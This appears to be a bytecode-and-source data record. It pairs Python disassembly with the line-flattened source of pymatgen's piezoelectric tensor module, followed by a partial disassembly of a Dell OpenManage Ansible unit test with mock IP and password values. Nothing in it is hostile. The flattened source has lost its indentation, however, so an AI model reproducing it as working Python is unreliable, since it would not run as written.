primitive LOAD_FAST supercell CALL_METHOD STORE_FAST converter LOAD_GLOBAL np LOAD_METHOD reshape LOAD_GLOBAL np LOAD_METHOD swapaxes LOAD_FAST dyn_mass LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD LOAD_FAST n_sites LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST n_sites LOAD_CONST 3 BINARY_MULTIPLY BUILD_TUPLE CALL_METHOD STORE_FAST dyn LOAD_FAST converter LOAD_ATTR set_dynamical_matrices LOAD_FAST dyn BUILD_LIST LOAD_CONST ('dynmat',) CALL_FUNCTION POP_TOP LOAD_FAST converter LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST converter LOAD_METHOD get_force_constants CALL_METHOD RETURN_VALUE LOAD_GLOBAL len LOAD_FAST BEC CALL_FUNCTION STORE_FAST n_sites LOAD_GLOBAL np LOAD_METHOD reshape LOAD_GLOBAL np LOAD_METHOD swapaxes LOAD_FAST FCM LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD LOAD_FAST n_sites LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST n_sites LOAD_CONST 3 BINARY_MULTIPLY BUILD_TUPLE CALL_METHOD STORE_FAST temp_fcm LOAD_GLOBAL np LOAD_ATTR linalg LOAD_METHOD eig LOAD_FAST temp_fcm CALL_METHOD UNPACK_SEQUENCE STORE_FAST eigs STORE_FAST _vecs LOAD_GLOBAL np LOAD_ATTR linalg LOAD_ATTR pinv LOAD_FAST temp_fcm UNARY_NEGATIVE LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST eigs LOAD_GLOBAL np LOAD_METHOD argsort LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST eigs CALL_METHOD CALL_METHOD LOAD_CONST 2 BINARY_SUBSCR BINARY_SUBSCR CALL_METHOD LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST eigs LOAD_GLOBAL np LOAD_METHOD argsort LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST eigs CALL_METHOD CALL_METHOD LOAD_CONST -1 BINARY_SUBSCR BINARY_SUBSCR CALL_METHOD BINARY_TRUE_DIVIDE LOAD_FAST rcond BINARY_ADD LOAD_CONST ('rcond',) CALL_FUNCTION STORE_FAST K LOAD_GLOBAL np LOAD_METHOD reshape LOAD_FAST K LOAD_FAST n_sites LOAD_CONST 3 LOAD_FAST n_sites LOAD_CONST 3 BUILD_TUPLE CALL_METHOD LOAD_METHOD swapaxes LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD STORE_FAST K LOAD_GLOBAL np LOAD_METHOD einsum LOAD_CONST 'ikl,ijlm,jmno->kno' LOAD_FAST BEC LOAD_FAST K LOAD_FAST IST CALL_METHOD LOAD_CONST 16.0216559424 BINARY_MULTIPLY RETURN_VALUE LOAD_GLOBAL BornEffectiveCharge LOAD_FAST struct LOAD_FAST BEC LOAD_FAST pointops CALL_FUNCTION STORE_FAST bec LOAD_FAST bec LOAD_METHOD get_BEC_operations CALL_METHOD POP_TOP LOAD_FAST bec LOAD_METHOD get_rand_BEC CALL_METHOD STORE_FAST rand_BEC LOAD_GLOBAL InternalStrainTensor LOAD_FAST struct LOAD_FAST IST LOAD_FAST pointops CALL_FUNCTION STORE_FAST ist LOAD_FAST ist LOAD_METHOD get_IST_operations CALL_METHOD POP_TOP LOAD_FAST ist LOAD_METHOD get_rand_IST CALL_METHOD STORE_FAST rand_IST LOAD_GLOBAL ForceConstantMatrix LOAD_FAST struct LOAD_FAST FCM LOAD_FAST pointops LOAD_FAST sharedops CALL_FUNCTION STORE_FAST fcm LOAD_FAST fcm LOAD_METHOD get_FCM_operations CALL_METHOD POP_TOP LOAD_FAST fcm LOAD_METHOD get_rand_FCM CALL_METHOD STORE_FAST rand_FCM LOAD_GLOBAL get_piezo LOAD_FAST rand_BEC LOAD_FAST rand_IST LOAD_FAST rand_FCM CALL_FUNCTION LOAD_CONST 16.0216559424 BINARY_MULTIPLY LOAD_FAST struct LOAD_ATTR volume BINARY_TRUE_DIVIDE STORE_FAST P LOAD_FAST rand_BEC LOAD_FAST rand_IST LOAD_FAST rand_FCM LOAD_FAST P BUILD_TUPLE RETURN_VALUE
"""Piezo sensitivity analysis module.""" from __future__ import annotations import warnings from typing import TYPE_CHECKING import numpy as np from monty.dev import requires from pymatgen.core.tensors import Tensor from pymatgen.symmetry.analyzer import SpacegroupAnalyzer try: from phonopy import Phonopy from phonopy.harmonic import dynmat_to_fc as dyntofc except ImportError: Phonopy = None if TYPE_CHECKING: from pymatgen.core import Structure __author__ = "Handong Ling" __copyright__ = "Copyright 2019, The Materials Project" __version__ = "1.0" __maintainer__ = "Handong Ling" __email__ = "[email protected]" __status__ = "Development" __date__ = "Feb, 2019" class BornEffectiveCharge: """This class describes the Nx3x3 born effective charge tensor.""" def __init__(self, structure: Structure, bec, pointops, tol: float = 1e-3): """ Create an BornEffectiveChargeTensor object defined by a structure, point operations of the structure's atomic sites. Note that the constructor uses __new__ rather than __init__ according to the standard method of subclassing numpy ndarrays. Args: input_matrix (Nx3x3 array-like): the Nx3x3 array-like representing the born effective charge tensor """ self.structure = structure self.bec = bec self.pointops = pointops self.BEC_operations = None if np.sum(self.bec) >= tol: warnings.warn( "Input born effective charge tensor does not satisfy charge neutrality" ) def get_BEC_operations(self, eigtol=1e-5, opstol=1e-3): """ Returns the symmetry operations which maps the tensors belonging to equivalent sites onto each other in the form [site index 1, site index 2, [Symmops mapping from site index 1 to site index 2]]. Args: eigtol (float): tolerance for determining if two sites are related by symmetry opstol (float): tolerance for determining if a symmetry operation relates two sites Return: list of symmetry operations mapping equivalent sites and the indexes of those sites. """ bec = self.bec struct = self.structure ops = SpacegroupAnalyzer(struct).get_symmetry_operations(cartesian=True) uniq_point_ops = list(ops) for ops in self.pointops: for op in ops: if op not in uniq_point_ops: uniq_point_ops.append(op) passed = [] relations = [] for site, val in enumerate(bec): unique = 1 eig1, _vecs1 = np.linalg.eig(val) index = np.argsort(eig1) new_eig = np.real([eig1[index[0]], eig1[index[1]], eig1[index[2]]]) for index, p in enumerate(passed): if np.allclose(new_eig, p[1], atol=eigtol): relations.append([site, index]) unique = 0 passed.append([site, p[0], new_eig]) break if unique == 1: relations.append([site, site]) passed.append([site, new_eig]) BEC_operations = [] for atom, r in enumerate(relations): BEC_operations.append(r) BEC_operations[atom].append([]) for op in uniq_point_ops: new = op.transform_tensor(self.bec[relations[atom][1]]) if np.allclose(new, self.bec[r[0]], atol=opstol): BEC_operations[atom][2].append(op) self.BEC_operations = BEC_operations return BEC_operations def get_rand_BEC(self, max_charge=1): """ Generate a random born effective charge tensor which obeys a structure's symmetry and the acoustic sum rule. Args: max_charge (float): maximum born effective charge value Return: np.array Born effective charge tensor """ n_atoms = len(self.structure) BEC = np.zeros((n_atoms, 3, 3)) for atom, ops in enumerate(self.BEC_operations): if ops[0] == ops[1]: temp_tensor = Tensor(np.random.rand(3, 3) - 0.5) temp_tensor = sum( temp_tensor.transform(symm_op) for symm_op in self.pointops[atom] ) / len(self.pointops[atom]) BEC[atom] = temp_tensor else: temp_fcm = np.zeros([3, 3]) for op in ops[2]: temp_fcm += op.transform_tensor(BEC[self.BEC_operations[atom][1]]) BEC[ops[0]] = temp_fcm if len(ops[2]) != 0: BEC[ops[0]] = BEC[ops[0]] / len(ops[2]) disp_charge = np.einsum("ijk->jk", BEC) / n_atoms add = np.zeros([n_atoms, 3, 3]) for atom, ops in enumerate(self.BEC_operations): if ops[0] == ops[1]: temp_tensor = Tensor(disp_charge) temp_tensor = sum( temp_tensor.transform(symm_op) for symm_op in self.pointops[atom] ) / len(self.pointops[atom]) add[ops[0]] = temp_tensor else: temp_tensor = np.zeros([3, 3]) for op in ops[2]: temp_tensor += op.transform_tensor( add[self.BEC_operations[atom][1]] ) add[ops[0]] = temp_tensor if len(ops) != 0: add[ops[0]] = add[ops[0]] / len(ops[2]) BEC = BEC - add return BEC * max_charge class InternalStrainTensor: """ This class describes the Nx3x3x3 internal tensor defined by a structure, point operations of the structure's atomic sites. """ def __init__(self, structure: Structure, ist, pointops, tol: float = 1e-3): """ Create an InternalStrainTensor object. Args: input_matrix (Nx3x3x3 array-like): the Nx3x3x3 array-like representing the internal strain tensor """ self.structure = structure self.ist = ist self.pointops = pointops self.IST_operations = None obj = self.ist if not (obj - np.transpose(obj, (0, 1, 3, 2)) < tol).all(): warnings.warn( "Input internal strain tensor does not satisfy standard symmetries" ) def get_IST_operations(self, opstol=1e-3): """ Returns the symmetry operations which maps the tensors belonging to equivalent sites onto each other in the form [site index 1, site index 2, [Symmops mapping from site index 1 to site index 2]]. Args: opstol (float): tolerance for determining if a symmetry operation relates two sites Return: list of symmetry operations mapping equivalent sites and the indexes of those sites. """ struct = self.structure ops = SpacegroupAnalyzer(struct).get_symmetry_operations(cartesian=True) uniq_point_ops = list(ops) for ops in self.pointops: for op in ops: if op not in uniq_point_ops: uniq_point_ops.append(op) IST_operations = [] for atom in range(len(self.ist)): IST_operations.append([]) for j in range(atom): for op in uniq_point_ops: new = op.transform_tensor(self.ist[j]) if np.allclose(new, self.ist[atom], atol=opstol): IST_operations[atom].append([j, op]) self.IST_operations = IST_operations def get_rand_IST(self, max_force=1): """ Generate a random internal strain tensor which obeys a structure's symmetry and the acoustic sum rule. Args: max_force (float): maximum born effective charge value Return: InternalStrainTensor object """ n_atoms = len(self.structure) IST = np.zeros((n_atoms, 3, 3, 3)) for atom, ops in enumerate(self.IST_operations): temp_tensor = np.zeros([3, 3, 3]) for op in ops: temp_tensor += op[1].transform_tensor(IST[op[0]]) if len(ops) == 0: temp_tensor = Tensor(np.random.rand(3, 3, 3) - 0.5) for dim in range(3): temp_tensor[dim] = (temp_tensor[dim] + temp_tensor[dim].T) / 2 temp_tensor = sum( temp_tensor.transform(symm_op) for symm_op in self.pointops[atom] ) / len(self.pointops[atom]) IST[atom] = temp_tensor if len(ops) != 0: IST[atom] = IST[atom] / len(ops) return IST * max_force class ForceConstantMatrix: """ This class describes the NxNx3x3 force constant matrix defined by a structure, point operations of the structure's atomic sites, and the shared symmetry operations between pairs of atomic sites. """ def __init__( self, structure: Structure, fcm, pointops, sharedops, tol: float = 1e-3 ): """ Create an ForceConstantMatrix object. Args: input_matrix (NxNx3x3 array-like): the NxNx3x3 array-like representing the force constant matrix """ self.structure = structure self.fcm = fcm self.pointops = pointops self.sharedops = sharedops self.FCM_operations = None def get_FCM_operations(self, eigtol=1e-5, opstol=1e-5): """ Returns the symmetry operations which maps the tensors belonging to equivalent sites onto each other in the form [site index 1a, site index 1b, site index 2a, site index 2b, [Symmops mapping from site index 1a, 1b to site index 2a, 2b]]. Args: eigtol (float): tolerance for determining if two sites are related by symmetry opstol (float): tolerance for determining if a symmetry operation relates two sites Return: list of symmetry operations mapping equivalent sites and the indexes of those sites. """ struct = self.structure ops = SpacegroupAnalyzer(struct).get_symmetry_operations(cartesian=True) uniq_point_ops = list(ops) for ops in self.pointops: for op in ops: if op not in uniq_point_ops: uniq_point_ops.append(op) passed = [] relations = [] for atom1 in range(len(self.fcm)): for atom2 in range(atom1, len(self.fcm)): unique = 1 eig1, _vecs1 = np.linalg.eig(self.fcm[atom1][atom2]) index = np.argsort(eig1) new_eig = np.real([eig1[index[0]], eig1[index[1]], eig1[index[2]]]) for p in passed: if np.allclose(new_eig, p[2], atol=eigtol): relations.append([atom1, atom2, p[0], p[1]]) unique = 0 break if unique == 1: relations.append([atom1, atom2, atom2, atom1]) passed.append([atom1, atom2, np.real(new_eig)]) FCM_operations = [] for entry, r in enumerate(relations): FCM_operations.append(r) FCM_operations[entry].append([]) good = 0 for op in uniq_point_ops: new = op.transform_tensor(self.fcm[r[2]][r[3]]) if np.allclose(new, self.fcm[r[0]][r[1]], atol=opstol): FCM_operations[entry][4].append(op) good = 1 if r[0] == r[3] and r[1] == r[2]: good = 1 if r[0] == r[2] and r[1] == r[3]: good = 1 if good == 0: FCM_operations[entry] = [r[0], r[1], r[3], r[2]] FCM_operations[entry].append([]) for op in uniq_point_ops: new = op.transform_tensor(self.fcm[r[2]][r[3]]) if np.allclose( new.T, self.fcm[r[0]][r[1]], atol=opstol, ): FCM_operations[entry][4].append(op) self.FCM_operations = FCM_operations return FCM_operations def get_unstable_FCM(self, max_force=1): """ Generate an unsymmeterized force constant matrix. Args: max_charge (float): maximum born effective charge value Return: numpy array representing the force constant matrix """ struct = self.structure operations = self.FCM_operations n_sites = len(struct) D = (1 / max_force) * 2 * (np.ones([n_sites * 3, n_sites * 3])) for op in operations: same = 0 transpose = 0 if op[0] == op[1] and op[0] == op[2] and op[0] == op[3]: same = 1 if op[0] == op[3] and op[1] == op[2]: transpose = 1 if transpose == 0 and same == 0: D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] = np.zeros( [3, 3] ) D[3 * op[1] : 3 * op[1] + 3, 3 * op[0] : 3 * op[0] + 3] = np.zeros( [3, 3] ) for symop in op[4]: temp_fcm = D[3 * op[2] : 3 * op[2] + 3, 3 * op[3] : 3 * op[3] + 3] temp_fcm = symop.transform_tensor(temp_fcm) D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] += temp_fcm if len(op[4]) != 0: D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] = D[ 3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3 ] / len(op[4]) D[3 * op[1] : 3 * op[1] + 3, 3 * op[0] : 3 * op[0] + 3] = D[ 3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3 ].T continue temp_tensor = Tensor(np.random.rand(3, 3) - 0.5) * max_force temp_tensor_sum = sum( temp_tensor.transform(symm_op) for symm_op in self.sharedops[op[0]][op[1]] ) temp_tensor_sum = temp_tensor_sum / (len(self.sharedops[op[0]][op[1]])) if op[0] != op[1]: for pair in range(len(op[4])): temp_tensor2 = temp_tensor_sum.T temp_tensor2 = op[4][pair].transform_tensor(temp_tensor2) temp_tensor_sum = (temp_tensor_sum + temp_tensor2) / 2 else: temp_tensor_sum = (temp_tensor_sum + temp_tensor_sum.T) / 2 D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] = temp_tensor_sum D[3 * op[1] : 3 * op[1] + 3, 3 * op[0] : 3 * op[0] + 3] = temp_tensor_sum.T return D def get_symmetrized_FCM(self, unsymmetrized_fcm, max_force=1): """ Generate a symmeterized force constant matrix from an unsymmeterized matrix. Args: unsymmetrized_fcm (numpy array): unsymmeterized force constant matrix max_charge (float): maximum born effective charge value Return: 3Nx3N numpy array representing the force constant matrix """ operations = self.FCM_operations D = unsymmetrized_fcm for op in operations: same = 0 transpose = 0 if op[0] == op[1] and op[0] == operations[2] and op[0] == op[3]: same = 1 if op[0] == op[3] and op[1] == op[2]: transpose = 1 if transpose == 0 and same == 0: D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] = np.zeros( [3, 3] ) for symop in op[4]: tempfcm = D[3 * op[2] : 3 * op[2] + 3, 3 * op[3] : 3 * op[3] + 3] tempfcm = symop.transform_tensor(tempfcm) D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] += tempfcm if len(op[4]) != 0: D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] = D[ 3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3 ] / len(op[4]) D[3 * op[1] : 3 * op[1] + 3, 3 * op[0] : 3 * op[0] + 3] = D[ 3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3 ].T continue temp_tensor = Tensor( D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] ) temp_tensor_sum = sum( temp_tensor.transform(symm_op) for symm_op in self.sharedops[op[0]][op[1]] ) if len(self.sharedops[op[0]][op[1]]) != 0: temp_tensor_sum = temp_tensor_sum / (len(self.sharedops[op[0]][op[1]])) if op[0] != op[1]: for pair in range(len(op[4])): temp_tensor2 = temp_tensor_sum.T temp_tensor2 = op[4][pair].transform_tensor(temp_tensor2) temp_tensor_sum = (temp_tensor_sum + temp_tensor2) / 2 else: temp_tensor_sum = (temp_tensor_sum + temp_tensor_sum.T) / 2 D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] = temp_tensor_sum D[3 * op[1] : 3 * op[1] + 3, 3 * op[0] : 3 * op[0] + 3] = temp_tensor_sum.T return D def get_stable_FCM(self, fcm, fcmasum=10): """ Generate a symmeterized force constant matrix that obeys the objects symmetry constraints, has no unstable modes and also obeys the acoustic sum rule through an iterative procedure. Args: fcm (numpy array): unsymmeterized force constant matrix fcmasum (int): number of iterations to attempt to obey the acoustic sum rule Return: 3Nx3N numpy array representing the force constant matrix """ check = 0 count = 0 while check == 0: if count > 20: check = 1 break eigs, vecs = np.linalg.eig(fcm) maxeig = np.max(-1 * eigs) eigsort = np.argsort(np.abs(eigs)) for i in range(3, len(eigs)): if eigs[eigsort[i]] > 1e-6: eigs[eigsort[i]] = -1 * maxeig * np.random.rand() diag = np.real(np.eye(len(fcm)) * eigs) fcm = np.real(np.matmul(np.matmul(vecs, diag), vecs.T)) fcm = self.get_symmetrized_FCM(fcm) fcm = self.get_asum_FCM(fcm) eigs, vecs = np.linalg.eig(fcm) unstable_modes = 0 eigsort = np.argsort(np.abs(eigs)) for i in range(3, len(eigs)): if eigs[eigsort[i]] > 1e-6: unstable_modes = 1 if unstable_modes == 1: count = count + 1 continue check = 1 return fcm def get_asum_FCM(self, fcm: np.ndarray, numiter: int = 15): """ Generate a symmeterized force constant matrix that obeys the objects symmetry constraints and obeys the acoustic sum rule through an iterative procedure. Args: fcm (numpy array): 3Nx3N unsymmeterized force constant matrix numiter (int): number of iterations to attempt to obey the acoustic sum rule Return: numpy array representing the force constant matrix """ operations = self.FCM_operations if operations is None: raise RuntimeError( "No symmetry operations found. Run get_FCM_operations first." ) n_sites = len(self.structure) D = np.ones([n_sites * 3, n_sites * 3]) for _ in range(numiter): X = np.real(fcm) pastrow = 0 total = np.zeros([3, 3]) for col in range(n_sites): total = total + X[0:3, col * 3 : col * 3 + 3] total = total / (n_sites) for op in operations: same = 0 transpose = 0 if op[0] == op[1] and op[0] == op[2] and op[0] == op[3]: same = 1 if op[0] == op[3] and op[1] == op[2]: transpose = 1 if transpose == 0 and same == 0: D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] = np.zeros( [3, 3] ) for symop in op[4]: tempfcm = D[ 3 * op[2] : 3 * op[2] + 3, 3 * op[3] : 3 * op[3] + 3 ] tempfcm = symop.transform_tensor(tempfcm) D[ 3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3 ] += tempfcm if len(op[4]) != 0: D[3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3] = D[ 3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3 ] / len(op[4]) D[3 * op[1] : 3 * op[1] + 3, 3 * op[0] : 3 * op[0] + 3] = D[ 3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3 ].T continue curr_row = op[0] if curr_row != pastrow: total = np.zeros([3, 3]) for col in range(n_sites): total = ( total + X[curr_row * 3 : curr_row * 3 + 3, col * 3 : col * 3 + 3] ) for col in range(curr_row): total = ( total - D[curr_row * 3 : curr_row * 3 + 3, col * 3 : col * 3 + 3] ) total = total / (n_sites - curr_row) pastrow = curr_row temp_tensor = Tensor(total) temp_tensor_sum = sum( temp_tensor.transform(symm_op) for symm_op in self.sharedops[op[0]][op[1]] ) if len(self.sharedops[op[0]][op[1]]) != 0: temp_tensor_sum = temp_tensor_sum / ( len(self.sharedops[op[0]][op[1]]) ) if op[0] != op[1]: for pair in range(len(op[4])): temp_tensor2 = temp_tensor_sum.T temp_tensor2 = op[4][pair].transform_tensor(temp_tensor2) temp_tensor_sum = (temp_tensor_sum + temp_tensor2) / 2 else: temp_tensor_sum = (temp_tensor_sum + temp_tensor_sum.T) / 2 D[ 3 * op[0] : 3 * op[0] + 3, 3 * op[1] : 3 * op[1] + 3 ] = temp_tensor_sum D[ 3 * op[1] : 3 * op[1] + 3, 3 * op[0] : 3 * op[0] + 3 ] = temp_tensor_sum.T fcm = fcm - D return fcm @requires(Phonopy, "phonopy not installed!") def get_rand_FCM(self, asum=15, force=10): """ Generate a symmeterized force constant matrix from an unsymmeterized matrix that has no unstable modes and also obeys the acoustic sum rule through an iterative procedure. Args: force (float): maximum force constant asum (int): number of iterations to attempt to obey the acoustic sum rule Return: NxNx3x3 np.array representing the force constant matrix """ from pymatgen.io.phonopy import get_phonopy_structure n_sites = len(self.structure) structure = get_phonopy_structure(self.structure) pn_struct = Phonopy(structure, np.eye(3), np.eye(3)) dyn = self.get_unstable_FCM(force) dyn = self.get_stable_FCM(dyn) dyn = np.reshape(dyn, (n_sites, 3, n_sites, 3)).swapaxes(1, 2) dyn_mass = np.zeros([len(self.structure), len(self.structure), 3, 3]) masses = [] for idx in range(n_sites): masses.append(self.structure[idx].specie.atomic_mass) dyn_mass = np.zeros([n_sites, n_sites, 3, 3]) for m in range(n_sites): for n in range(n_sites): dyn_mass[m][n] = dyn[m][n] * np.sqrt(masses[m]) * np.sqrt(masses[n]) supercell = pn_struct.get_supercell() primitive = pn_struct.get_primitive() converter = dyntofc.DynmatToForceConstants(primitive, supercell) dyn = np.reshape(np.swapaxes(dyn_mass, 1, 2), (n_sites * 3, n_sites * 3)) converter.set_dynamical_matrices(dynmat=[dyn]) converter.run() return converter.get_force_constants() def get_piezo(BEC, IST, FCM, rcond=0.0001): """ Generate a random piezoelectric tensor based on a structure and corresponding symmetry. Args: BEC (numpy array): Nx3x3 array representing the born effective charge tensor IST (numpy array): Nx3x3x3 array representing the internal strain tensor FCM (numpy array): NxNx3x3 array representing the born effective charge tensor rcondy (float): condition for excluding eigenvalues in the pseudoinverse Return: 3x3x3 calculated Piezo tensor """ n_sites = len(BEC) temp_fcm = np.reshape(np.swapaxes(FCM, 1, 2), (n_sites * 3, n_sites * 3)) eigs, _vecs = np.linalg.eig(temp_fcm) K = np.linalg.pinv( -temp_fcm, rcond=np.abs(eigs[np.argsort(np.abs(eigs))[2]]) / np.abs(eigs[np.argsort(np.abs(eigs))[-1]]) + rcond, ) K = np.reshape(K, (n_sites, 3, n_sites, 3)).swapaxes(1, 2) return np.einsum("ikl,ijlm,jmno->kno", BEC, K, IST) * 16.0216559424 @requires(Phonopy, "phonopy not installed!") def rand_piezo(struct, pointops, sharedops, BEC, IST, FCM, anumiter=10): """ Generate a random piezoelectric tensor based on a structure and corresponding symmetry. Args: struct (pymatgen structure): structure whose symmetry operations the piezo tensor must obey pointops: list of point operations obeyed by a single atomic site sharedops: list of point operations shared by a pair of atomic sites BEC (numpy array): Nx3x3 array representing the born effective charge tensor IST (numpy array): Nx3x3x3 array representing the internal strain tensor FCM (numpy array): NxNx3x3 array representing the born effective charge tensor anumiter (int): number of iterations for acoustic sum rule convergence Return: list in the form of [Nx3x3 random born effective charge tenosr, Nx3x3x3 random internal strain tensor, NxNx3x3 random force constant matrix, 3x3x3 piezo tensor] """ bec = BornEffectiveCharge(struct, BEC, pointops) bec.get_BEC_operations() rand_BEC = bec.get_rand_BEC() ist = InternalStrainTensor(struct, IST, pointops) ist.get_IST_operations() rand_IST = ist.get_rand_IST() fcm = ForceConstantMatrix(struct, FCM, pointops, sharedops) fcm.get_FCM_operations() rand_FCM = fcm.get_rand_FCM() P = get_piezo(rand_BEC, rand_IST, rand_FCM) * 16.0216559424 / struct.volume return (rand_BEC, rand_IST, rand_FCM, P)
data/pymatgen-2024.2.20/pymatgen/analysis/piezo_sensitivity.py
14,309
9,012
335,828
LOAD_CONST 0 LOAD_CONST ('absolute_import', 'division', 'print_function') IMPORT_NAME __future__ IMPORT_FROM absolute_import STORE_NAME absolute_import IMPORT_FROM division STORE_NAME division IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_NAME type STORE_NAME __metaclass__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME json STORE_NAME json LOAD_CONST 0 LOAD_CONST ('StringIO',) IMPORT_NAME io IMPORT_FROM StringIO STORE_NAME StringIO POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('to_text',) IMPORT_NAME ansible.module_utils._text IMPORT_FROM to_text STORE_NAME to_text POP_TOP LOAD_CONST 0 LOAD_CONST ('HTTPError', 'URLError') IMPORT_NAME ansible.module_utils.six.moves.urllib.error IMPORT_FROM HTTPError STORE_NAME HTTPError IMPORT_FROM URLError STORE_NAME URLError POP_TOP LOAD_CONST 0 LOAD_CONST ('ConnectionError', 'SSLValidationError') IMPORT_NAME ansible.module_utils.urls IMPORT_FROM ConnectionError STORE_NAME ConnectionError IMPORT_FROM SSLValidationError STORE_NAME SSLValidationError POP_TOP LOAD_CONST 0 LOAD_CONST ('ome_device_mgmt_network',) IMPORT_NAME ansible_collections.dellemc.openmanage.plugins.modules IMPORT_FROM ome_device_mgmt_network STORE_NAME ome_device_mgmt_network POP_TOP LOAD_CONST 0 LOAD_CONST ('FakeAnsibleModule', 'Constants') IMPORT_NAME ansible_collections.dellemc.openmanage.tests.unit.plugins.modules.common IMPORT_FROM FakeAnsibleModule STORE_NAME FakeAnsibleModule IMPORT_FROM Constants STORE_NAME Constants POP_TOP LOAD_CONST 'ansible_collections.dellemc.openmanage.plugins.modules.ome_device_mgmt_network.' STORE_NAME MODULE_PATH LOAD_CONST "Device with {0} '{1}' not found." STORE_NAME DEVICE_NOT_FOUND LOAD_CONST 'Network settings for {0} is not configurable.' STORE_NAME NON_CONFIG_NETWORK LOAD_CONST 'Successfully applied the network settings.' STORE_NAME SUCCESS_MSG LOAD_CONST 'Invalid {0} address provided for the {1}' STORE_NAME INVALID_IP LOAD_CONST "'SecondaryDNS' requires 'PrimaryDNS' to be provided." STORE_NAME DNS_SETT_ERR1 LOAD_CONST "'TertiaryDNS' requires both 'PrimaryDNS' and 'SecondaryDNS' to be provided." STORE_NAME DNS_SETT_ERR2 LOAD_CONST 'No changes found to be applied.' STORE_NAME NO_CHANGES_MSG LOAD_CONST 'Changes found to be applied.' STORE_NAME CHANGES_FOUND LOAD_CONST 1000 STORE_NAME SERVER LOAD_CONST 2000 STORE_NAME CHASSIS LOAD_CONST 4000 STORE_NAME IO_MODULE LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST <code object ome_connection_mock_for_device_network at 0x7f8e2fc139c0, file "f.py", line 39> LOAD_CONST 'ome_connection_mock_for_device_network' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ome_connection_mock_for_device_network LOAD_BUILD_CLASS LOAD_CONST <code object TestOmeDeviceMgmtNetwork at 0x7f8af04a2780, file "f.py", line 47> LOAD_CONST 'TestOmeDeviceMgmtNetwork' MAKE_FUNCTION LOAD_CONST 'TestOmeDeviceMgmtNetwork' LOAD_NAME FakeAnsibleModule CALL_FUNCTION STORE_NAME TestOmeDeviceMgmtNetwork LOAD_CONST None RETURN_VALUE LOAD_FAST mocker LOAD_METHOD patch LOAD_GLOBAL MODULE_PATH LOAD_CONST 'RestOME' BINARY_ADD CALL_METHOD STORE_FAST connection_class_mock LOAD_FAST connection_class_mock LOAD_ATTR return_value LOAD_ATTR __enter__ LOAD_ATTR return_value STORE_FAST ome_connection_mock_obj LOAD_FAST ome_response_mock LOAD_FAST ome_connection_mock_obj LOAD_ATTR invoke_request STORE_ATTR return_value LOAD_FAST ome_connection_mock_obj RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestOmeDeviceMgmtNetwork' STORE_NAME __qualname__ LOAD_NAME ome_device_mgmt_network STORE_NAME module LOAD_CONST 'localdomain' LOAD_CONST 'openmanage-enterprise' LOAD_CONST False LOAD_CONST False LOAD_CONST '10_MB' LOAD_CONST False LOAD_CONST ('dns_domain_name', 'dns_name', 'register_with_dns', 'auto_negotiation', 'network_speed', 'use_dhcp_for_dns_domain_name') BUILD_CONST_KEY_MAP STORE_NAME dns_configuration LOAD_CONST True LOAD_CONST False LOAD_CONST False LOAD_CONST '192.168.11.20' LOAD_CONST '255.255.255.0' LOAD_CONST '192.168.11.1' LOAD_CONST '192.168.11.2' LOAD_CONST '192.168.11.3' LOAD_CONST ('enable_ipv4', 'enable_dhcp', 'use_dhcp_to_obtain_dns_server_address', 'static_ip_address', 'static_subnet_mask', 'static_gateway', 'static_preferred_dns_server', 'static_alternate_dns_server') BUILD_CONST_KEY_MAP STORE_NAME ipv4_configuration LOAD_CONST True LOAD_CONST False LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f121' LOAD_CONST '0000::ffff' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f120' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f122' LOAD_CONST 0 LOAD_CONST False LOAD_CONST ('enable_ipv6', 'enable_auto_configuration', 'static_alternate_dns_server', 'static_gateway', 'static_ip_address', 'static_preferred_dns_server', 'static_prefix_length', 'use_dhcpv6_to_obtain_dns_server_address') BUILD_CONST_KEY_MAP STORE_NAME ipv6_configuration LOAD_CONST '192.96.20.181' LOAD_CONST '192.96.20.182' LOAD_CONST ('preferred_dns_server', 'alternate_dns_server1') BUILD_CONST_KEY_MAP STORE_NAME dns_server_settings LOAD_CONST True LOAD_CONST 0 LOAD_CONST ('enable_vlan', 'vlan_id') BUILD_CONST_KEY_MAP STORE_NAME management_vlan LOAD_CONST '192.1.2.3' LOAD_CONST 'password' LOAD_CONST 443 